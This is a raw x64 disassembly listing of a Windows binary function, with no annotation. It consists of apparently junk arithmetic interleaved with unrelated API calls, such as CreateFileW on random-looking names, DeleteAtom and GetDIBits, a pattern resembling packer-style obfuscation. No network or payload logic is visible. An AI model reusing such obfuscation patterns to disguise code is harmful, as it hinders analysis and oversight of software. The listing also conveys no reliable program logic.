mov rax, qword [rsp + 0x79f8]
mov rcx, qword [rsp + 0x7a18]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x7988], rax
mov rax, qword [rsp + 0x79f8]
mov rcx, qword [rsp + 0x7360]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x79f8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7ab8]
mov eax, dword [rax]
mov ecx, dword [0x140120398]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x79b0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x79c0]
mov rcx, qword [rsp + 0x7968]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x6ae8], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetMessageWaitingIndicator]
mov eax, dword [rsp + 0x3c3c]
mov ecx, dword [rsp + 0x3c90]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3c34], eax
movzx eax, word [rsp + 0x1348]
movzx ecx, word [rsp + 0x1370]
and eax, ecx
mov rcx, qword [rsp + 0x79f0]
mov word [rcx], ax
mov rax, qword [rsp + 0x79d0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7a58]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x2a7], al
mov rax, qword [rsp + 0x7990]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1314]
xor eax, ecx
mov word [0x1401203b4], ax
mov eax, dword [rsp + 0x3bf0]
sub eax, 0x5d
mov dword [rsp + 0x3bf0], eax
mov rax, qword [rsp + 0x7a50]
mov rcx, qword [rsp + 0x79f8]
mov qword [rsp + 0x7af0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7af0]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x7a00], rax
mov rax, qword [rsp + 0x79f8]
mov rax, qword [rax]
mov rcx, qword [0x140127280]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x7a00], rax
movsx eax, word [rsp + 0x1200]
mov rcx, qword [rsp + 0x7990]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x134c], ax
mov eax, dword [rsp + 0x3c90]
mov ecx, dword [rsp + 0x3c94]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3c34], eax
mov rax, qword [rsp + 0x7ac0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x79c0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x75f0], rax
mov rax, qword [rsp + 0x7a28]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x7aa8]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x7a28]
mov byte [rcx], al
mov rax, qword [rsp + 0x79b0]
mov rcx, qword [rsp + 0x7ab8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x79b0]
mov dword [rcx], eax
movzx eax, word [rsp + 0x1368]
movzx ecx, word [rsp + 0x1370]
sub eax, ecx
mov word [rsp + 0x136c], ax
movzx eax, word [rsp + 0x10b0]
movzx ecx, word [rsp + 0x136c]
add eax, ecx
mov word [0x1401203b0], ax
mov rax, qword [rsp + 0x7aa0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1314]
sub eax, ecx
mov word [rsp + 0x1294], ax
movzx eax, byte [rsp + 0x1ba]
mov rcx, qword [rsp + 0x7ab0]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x79d0]
mov byte [rcx], al
cmp dword [rsp + 0x3bf0], 0x159c
ja 0x14000ebb0
mov rax, qword [rsp + 0x7ab0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2a2]
add eax, ecx
mov byte [rsp + 0x2a0], al
mov rax, qword [rsp + 0x7ab8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3c20]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3b20], eax
mov rax, qword [rsp + 0x7a80]
mov rax, qword [rax]
mov rcx, qword [0x140120390]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7998]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7a58]
movzx eax, byte [rax]
mov byte [rsp + 0x3c9c], al
cmp byte [rsp + 0x3c9c], 0xc9
je 0x14000f1df
jmp 0x14000f291
movsx eax, word [0x140127288]
movsx ecx, word [rsp + 0x134c]
xor eax, ecx
mov word [0x1401203b4], ax
mov rax, qword [rsp + 0x79f8]
mov rcx, qword [rsp + 0x6040]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x7a18], rax
mov rax, qword [rsp + 0x7a18]
mov rcx, qword [rsp + 0x6040]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x79f8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x79f8]
mov rcx, qword [0x140127280]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x7988], rax
movsx eax, word [rsp + 0x134c]
mov rcx, qword [rsp + 0x7990]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x9d4], ax
mov rax, qword [rsp + 0x7aa8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x2a1]
sub eax, ecx
mov byte [rsp + 0x29f], al
jmp 0x140102ced
mov rax, qword [0x140127278]
mov eax, dword [rax]
mov dword [rsp + 0x3ca0], eax
mov eax, dword [rsp + 0x3b20]
mov dword [rsp + 0x3ca4], eax
cmp dword [rsp + 0x3ca4], 0x7291
je 0x14000f2ce
cmp dword [rsp + 0x3ca4], 0x553deaa0
je 0x14000f328
jmp 0x14000f41f
mov rax, qword [rsp + 0x79a0]
mov ecx, dword [rsp + 0x3c90]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3c34], eax
mov rax, qword [0x140120390]
mov rcx, qword [rsp + 0x6ae8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x75f0], rax
mov rax, qword [rsp + 0x79b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x37ac]
sub ecx, eax
mov eax, ecx
mov rcx, qword [0x140127278]
mov dword [rcx], eax
jmp 0x14000f41f
mov rax, qword [rsp + 0x7998]
mov rcx, qword [rsp + 0x7ac0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x75f0]
mov rdx, qword [rsp + 0x7a80]
mov rdx, qword [rdx]
shl rdx, cl
mov rcx, rdx
cmp rax, rcx
jne 0x14000f41f
mov rax, qword [rsp + 0x7a28]
movzx eax, byte [rax]
mov byte [rsp + 0x3ca8], al
cmp byte [rsp + 0x3ca8], 0
je 0x14000f381
jmp 0x14000f3cf
movzx eax, byte [rsp + 0x1ba]
movzx ecx, byte [rsp + 0x2a5]
sar eax, cl
mov byte [rsp + 0x2a6], al
mov rax, qword [rsp + 0x79f0]
movzx eax, word [rax]
mov word [rsp + 0x1374], ax
mov rax, qword [rsp + 0x7a78]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7980]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1314], ax
jmp 0x14000f41f
mov dword [rsp + 0x30], 0x84
lea rax, [rsp + 0x1200]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x7af8]
mov qword [rsp + 0x20], rax
mov r9d, 0x6b
mov r8d, 0x69
mov rdx, qword [rsp + 0x7b00]
mov rcx, qword [rsp + 0x7b08]
call qword [sym.imp.GDI32.dll_GetDIBits]
mov dword [rsp + 0x3be8], eax
call fcn.140103400
mov rax, qword [rsp + 0x7a58]
mov rcx, qword [rsp + 0x79d0]
movzx ecx, byte [rcx]
mov byte [rax], cl
mov rax, qword [rsp + 0x7a28]
movzx eax, byte [rax]
mov byte [rsp + 0x3cac], al
cmp byte [rsp + 0x3cac], 0x62
je 0x14000f4e7
cmp byte [rsp + 0x3cac], 0x7d
je 0x14000f463
jmp 0x14000f5a5
mov rax, qword [rsp + 0x7ac0]
mov rdx, qword [rax]
movzx ecx, byte [rsp + 0x2a0]
call fcn.1401034a0
mov rax, qword [rsp + 0x7ab8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3c20]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x37ac], eax
mov rax, qword [rsp + 0x7968]
mov rcx, qword [rsp + 0x79c0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x75f0], rax
mov rax, qword [rsp + 0x79a0]
mov ecx, dword [rsp + 0x3c94]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x7978]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7ab0]
movzx ecx, byte [rax]
call fcn.140103550
jmp 0x14000f5a5
mov rax, qword [rsp + 0x68e8]
mov rcx, qword [rsp + 0x6040]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x7a18], rax
movzx eax, byte [rsp + 0x2a7]
mov rcx, qword [rsp + 0x79d0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x140120038], al
movsx eax, word [rsp + 0x1294]
movsx ecx, word [rsp + 0x1314]
sub eax, ecx
mov word [rsp + 0x1200], ax
movzx eax, word [rsp + 0x1368]
mov rcx, qword [rsp + 0x79f0]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x136c], ax
movsx eax, byte [0x14012728a]
movsx ecx, byte [rsp + 0x8b]
add eax, ecx
mov byte [rsp + 0x29e], al
mov rax, qword [rsp + 0x79f8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7a18]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x7360], rax
mov rcx, qword [rsp + 0x7b10]
call qword [sym.imp.GDI32.dll_GetFontLanguageInfo]
mov dword [rsp + 0x3c04], eax
mov rax, qword [rsp + 0x79b0]
mov rcx, qword [rsp + 0x7ab8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3680], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 8
mov edx, 0x80000000
lea rcx, str.LXpZd_seLSQDp
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x7b18], rax
movzx eax, byte [rsp + 0x2a1]
mov byte [rsp + 0x3cb0], al
cmp byte [rsp + 0x3cb0], 0
je 0x14000f62a
cmp byte [rsp + 0x3cb0], 0x33
je 0x140102ba9
jmp 0x140102cbc
mov rax, qword [rsp + 0x7998]
mov rcx, qword [rsp + 0x7a80]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x7968], rax
mov rax, qword [rsp + 0x79b0]
mov eax, dword [rax]
mov dword [rsp + 0x3cb4], eax
movzx ecx, word [rsp + 0x1354]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1358], ax
mov rax, qword [rsp + 0x79c0]
mov qword [rsp + 0x7b20], rax
cmp qword [rsp + 0x7b20], 0
je 0x14000f6aa
movabs rax, 0x7df4f066f8dc21
cmp qword [rsp + 0x7b20], rax
je 0x14000f73e
jmp 0x14000f7b9
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 8
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.62uxfEHQh9UMK4C
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x7b28], rax
mov rax, qword [rsp + 0x7a88]
mov ecx, dword [rsp + 0x3c90]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3c00], eax
mov dword [rsp + 0x3cb8], 0x567d
mov rax, qword [rsp + 0x7aa0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7990]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x7a78]
mov word [rcx], ax
movzx eax, byte [rsp + 0x2a5]
mov byte [0x140127270], al
jmp 0x14000f7b9
movzx ecx, byte [rsp + 0x2a6]
call fcn.140103550
mov rax, qword [rsp + 0x7a00]
mov rcx, qword [rsp + 0x7360]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x7988], rax
movsx eax, byte [0x14012728b]
mov rcx, qword [rsp + 0x7a28]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x29e], al
movsx eax, word [rsp + 0x1294]
mov rcx, qword [rsp + 0x7a78]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1314], ax
mov rax, qword [rsp + 0x79d0]
movzx edx, byte [rax]
movzx ecx, byte [rsp + 0x2a2]
call fcn.140103460
movzx eax, word [rsp + 0x136c]
mov word [rsp + 0x1378], ax
mov eax, dword [rsp + 0x3b20]
mov ecx, dword [rsp + 0x3ca0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x37ac], eax
mov rax, qword [rsp + 0x79a0]
mov rcx, qword [rsp + 0x7978]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x3c90], eax
mov rax, qword [rsp + 0x7998]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7ac0]
mov qword [rsp + 0x7b30], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7b30]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0x7a80]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x2a5]
mov rcx, qword [rsp + 0x7ab0]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x2a6], al
movzx eax, word [rsp + 0x135c]
mov rcx, qword [rsp + 0x79f0]
movzx ecx, word [rcx]
xor eax, ecx
mov word [0x1401203b0], ax
mov rax, qword [rsp + 0x7980]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x134c]
and eax, ecx
mov word [rsp + 0x1200], ax
mov eax, dword [rsp + 0x3cb8]
sub eax, 0x52
mov dword [rsp + 0x3cb8], eax
movzx eax, byte [0x140127270]
mov rcx, qword [rsp + 0x7a58]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x2a0], al
mov rax, qword [rsp + 0x79f8]
mov rcx, qword [rsp + 0x7360]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x79f8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x79f8]
mov rcx, qword [rsp + 0x7988]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x68e8], rax
mov eax, dword [rsp + 0x3c04]
mov ecx, dword [rsp + 0x3c90]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3c34], eax
mov rax, qword [0x140127278]
mov rcx, qword [rsp + 0x79b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x7ab8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7998]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x75f0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x7968], rax
movzx eax, word [0x1401203b0]
movzx ecx, word [rsp + 0x10b0]
and eax, ecx
mov rcx, qword [rsp + 0x79f0]
mov word [rcx], ax
mov rax, qword [rsp + 0x7ab0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7a58]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x140120038], al
mov rax, qword [rsp + 0x7aa8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x7a28]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x29f], al
movsx eax, word [rsp + 0x1200]
movsx ecx, word [rsp + 0x134c]
sar eax, cl
mov word [rsp + 0x9d4], ax
mov rax, qword [rsp + 0x7360]
mov rcx, qword [rsp + 0x79f8]
mov qword [rsp + 0x7b38], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7b38]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x7a18], rax
lea rcx, [rsp + 0x13798]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
movzx eax, byte [rsp + 0x2a0]
mov rcx, qword [rsp + 0x79d0]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x1ba], al
mov eax, dword [rsp + 0x3ca0]
mov ecx, dword [rsp + 0x37ac]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3c20], eax
mov rax, qword [rsp + 0x7a80]
mov rcx, qword [rsp + 0x6ae8]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x75f0], rax
mov rax, qword [rsp + 0x79a0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3c34]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3c90], eax
mov rax, qword [rsp + 0x7980]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7aa0]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x7980]
mov word [rcx], ax
mov rax, qword [rsp + 0x7ab8]
mov ecx, dword [rsp + 0x37ac]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [0x140127278]
mov dword [rcx], eax
mov rax, qword [rsp + 0x79f8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7a50]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x68e8], rax
movzx eax, byte [rsp + 0x2a0]
movzx ecx, byte [rsp + 0x2a7]
add eax, ecx
mov byte [rsp + 0x1ba], al
movsx eax, word [rsp + 0x134c]
movsx ecx, word [rsp + 0x9d4]
sub eax, ecx
mov word [rsp + 0x1294], ax
movzx eax, word [0x1401203b0]
movzx ecx, word [rsp + 0x1350]
add eax, ecx
mov rcx, qword [rsp + 0x79f0]
mov word [rcx], ax
mov rax, qword [rsp + 0x6ae8]
mov rcx, qword [rsp + 0x7968]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7998]
mov qword [rcx], rax
mov eax, dword [rsp + 0x3c94]
movzx ecx, al
mov eax, dword [0x1401203a0]
shr eax, cl
mov rcx, qword [rsp + 0x79a0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x3cb4]
mov ecx, dword [rsp + 0x37ac]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x3b20], eax
mov rax, qword [rsp + 0x7aa8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x7a28]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x2a4], al
mov rax, qword [rsp + 0x79f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1348]
or eax, ecx
mov word [rsp + 0x1370], ax
mov rax, qword [rsp + 0x7ab0]
movzx eax, byte [rax]
movzx ecx, byte [0x140127270]
add eax, ecx
mov byte [0x140120038], al
mov rcx, qword [rsp + 0x79c8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x3c68], eax
movsx eax, word [rsp + 0x1200]
mov rcx, qword [rsp + 0x7990]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x9d4], ax
mov rax, qword [rsp + 0x79f8]
mov rcx, qword [0x140127280]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x6040], rax
mov rax, qword [rsp + 0x6040]
mov rcx, qword [rsp + 0x7a18]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x7360], rax
mov rax, qword [rsp + 0x7ac0]
mov rcx, qword [rsp + 0x75f0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x7968], rax
mov rax, qword [rsp + 0x7ab8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3be8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x79b0]
mov dword [rcx], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LockResource]
mov eax, dword [rsp + 0x3c34]
mov ecx, dword [rsp + 0x3c94]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3c04], eax
mov ecx, 9
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x3c5c], eax
cmp dword [rsp + 0x3cb8], 0x476f
jae 0x14000f7c9
mov rax, qword [rsp + 0x7aa8]
movzx eax, byte [rax]
mov byte [rsp + 0x3cbc], al
cmp byte [rsp + 0x3cbc], 0
je 0x14000fd21
cmp byte [rsp + 0x3cbc], 0x16
je 0x14000fce4
jmp 0x140102b13
mov edx, 0x5a
mov rcx, qword [rsp + 0x7ad0]
call qword [sym.imp.GDI32.dll_SetDCPenColor]
mov dword [rsp + 0x3c3c], eax
mov rax, qword [rsp + 0x68e8]
mov rcx, qword [rsp + 0x7360]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x7a00], rax
jmp 0x140102b13
mov rax, qword [rsp + 0x7990]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7980]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x7a78]
mov word [rcx], ax
mov eax, dword [rsp + 0x3be8]
movzx ecx, al
mov eax, dword [rsp + 0x3680]
shl eax, cl
mov dword [rsp + 0x361c], eax
mov rax, qword [rsp + 0x75f0]
mov rcx, qword [rsp + 0x7998]
mov qword [rsp + 0x7b40], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7b40]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x79c0], rax
lea rcx, [rsp + 0x7b48]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov rax, qword [rsp + 0x79b0]
mov eax, dword [rax]
mov dword [rsp + 0x3cc0], eax
cmp dword [rsp + 0x3cc0], 0x4e88
je 0x14000fdcd
cmp dword [rsp + 0x3cc0], 0x4bd05ab9
je 0x14000fdef
jmp 0x140102aec
mov rax, qword [rsp + 0x7a88]
mov rcx, qword [rsp + 0x7978]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3c90], eax
jmp 0x140102aec
mov rax, qword [rsp + 0x7a58]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7ab0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x2a0], al
cmp dword [rsp + 0x3c98], 0x81f4
je 0x140010094
movsx eax, word [rsp + 0x134c]
mov rcx, qword [rsp + 0x7a78]
movsx ecx, word [rcx]
and eax, ecx
mov word [0x1401203b4], ax
movzx eax, word [rsp + 0x1368]
mov rcx, qword [rsp + 0x79f0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x10b0], ax
movzx eax, word [rsp + 0x135c]
movzx ecx, word [rsp + 0x136c]
add eax, ecx
mov rcx, qword [rsp + 0x79f0]
mov word [rcx], ax
mov rax, qword [rsp + 0x7a58]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x79d0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x2a2], al
mov rax, qword [rsp + 0x7ac0]
mov rcx, qword [rsp + 0x7a80]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x7998]
mov qword [rcx], rax
mov eax, dword [rsp + 0x3c98]
add eax, 0x6c
mov dword [rsp + 0x3c98], eax
mov eax, dword [rsp + 0x3c34]
mov ecx, dword [rsp + 0x3c90]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3c00], eax
movzx ecx, word [rsp + 0x1360]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x137c], ax
mov rax, qword [rsp + 0x79b0]
mov ecx, dword [rsp + 0x3ca0]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x37ac], eax
mov rax, qword [rsp + 0x7a78]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7980]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1314], ax
movzx eax, byte [rsp + 0x2a5]
movzx ecx, byte [rsp + 0x2a0]
xor eax, ecx
mov byte [rsp + 0x2a7], al
movzx eax, word [rsp + 0x135c]
movzx ecx, word [rsp + 0x1368]
shl eax, cl
mov word [0x1401203b0], ax
mov rax, qword [rsp + 0x79f8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7a18]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x6040], rax
movzx ecx, word [rsp + 0x1358]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x137c], ax
mov rax, qword [rsp + 0x7a18]
mov rcx, qword [rsp + 0x7988]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x7360], rax
mov rax, qword [rsp + 0x79f8]
mov rcx, qword [rsp + 0x6040]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x7a00], rax
mov rax, qword [rsp + 0x79f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1364]
sub eax, ecx
mov word [rsp + 0x1374], ax
mov rax, qword [rsp + 0x7aa8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x2a3]
sub eax, ecx
mov byte [rsp + 0x29f], al
mov eax, dword [rsp + 0x3c20]
mov ecx, dword [rsp + 0x3be8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x3c14], eax
mov rax, qword [rsp + 0x7968]
mov rcx, qword [0x1401203a8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7ac0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x3c3c]
mov dword [rsp + 0x3c94], eax
movzx eax, byte [rsp + 0x2a2]
mov rcx, qword [rsp + 0x7a58]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x140127270], al
movsx eax, word [rsp + 0x1314]
mov rcx, qword [rsp + 0x7980]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x9d4], ax
jmp 0x14000fe0e
mov rax, qword [rsp + 0x79d0]
movzx eax, byte [rax]
mov byte [rsp + 0x2a8], al
movsx eax, word [rsp + 0x1200]
mov rcx, qword [rsp + 0x7a78]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x7aa0]
mov word [rcx], ax
movzx eax, word [0x1401203b0]
movzx ecx, word [rsp + 0x1364]
sar eax, cl
mov word [rsp + 0x1348], ax
mov eax, dword [rsp + 0x3c04]
mov rcx, qword [rsp + 0x79a0]
mov qword [rsp + 0x7b50], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7b50]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x79a0]
mov dword [rcx], eax
mov rax, qword [0x1401203a8]
mov rcx, qword [rsp + 0x7968]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x6ae8], rax
mov eax, dword [rsp + 0x3680]
mov ecx, dword [rsp + 0x3b20]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x3be8], eax
mov rax, qword [rsp + 0x68e8]
mov rcx, qword [rsp + 0x6040]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x7a00], rax
mov rax, qword [rsp + 0x7a58]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x79d0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x140120038], al
movzx eax, word [rsp + 0x136c]
movzx ecx, word [rsp + 0x1370]
sub eax, ecx
mov word [rsp + 0x135c], ax
mov rax, qword [rsp + 0x7990]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1294]
sub eax, ecx
mov word [rsp + 0x134c], ax
movsx eax, byte [rsp + 0x2a1]
mov rcx, qword [rsp + 0x7aa8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x29e], al
mov rax, qword [rsp + 0x79f8]
mov rcx, qword [rsp + 0x7360]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x6040], rax
mov eax, dword [rsp + 0x37ac]
mov ecx, dword [rsp + 0x3cb4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x3ca0], eax
mov rax, qword [0x1401203a8]
mov rcx, qword [rsp + 0x6ae8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x79c0], rax
mov rax, qword [rsp + 0x79a0]
mov rcx, qword [rsp + 0x7978]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3c04], eax
mov eax, dword [rsp + 0x3c78]
add eax, 0x94
mov dword [rsp + 0x3c78], eax
mov rax, qword [rsp + 0x7ab0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2a2]
sub eax, ecx
mov rcx, qword [rsp + 0x7ab0]
mov byte [rcx], al
mov r9d, 1
xor r8d, r8d
mov edx, 0x6b32
mov rcx, qword [rsp + 0x7a68]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x3c30], eax
mov rax, qword [rsp + 0x7980]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7a78]
movsx ecx, word [rcx]
shl eax, cl
mov word [0x1401203b4], ax
lea rcx, [rsp + 0x13738]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
movzx eax, word [rsp + 0x1364]
movzx ecx, word [rsp + 0x136c]
or eax, ecx
mov word [rsp + 0x1350], ax
cmp dword [rsp + 0x3c78], 0xfa38
jne 0x1400100a6
lea rax, [0x1401203b8]
mov qword [rsp + 0x7b58], rax
mov rax, qword [rsp + 0x7b58]
mov rcx, qword [rsp + 0x7a18]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x7a00], rax
movzx eax, word [rsp + 0x136c]
mov word [rsp + 0x1380], ax
mov eax, dword [0x14012039c]
movzx ecx, al
mov eax, dword [rsp + 0x3c3c]
shr eax, cl
mov dword [rsp + 0x3c00], eax
mov dword [rsp + 0x3cc4], 0xabfa
mov rax, qword [rsp + 0x75f0]
mov rcx, qword [rsp + 0x79c0]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7ac0]
mov rdx, qword [rsp + 0x6ae8]
mov rcx, qword [rcx]
add rcx, rdx
cmp rax, rcx
je 0x140010401
mov rax, qword [rsp + 0x7998]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x75f0]
add rcx, rax
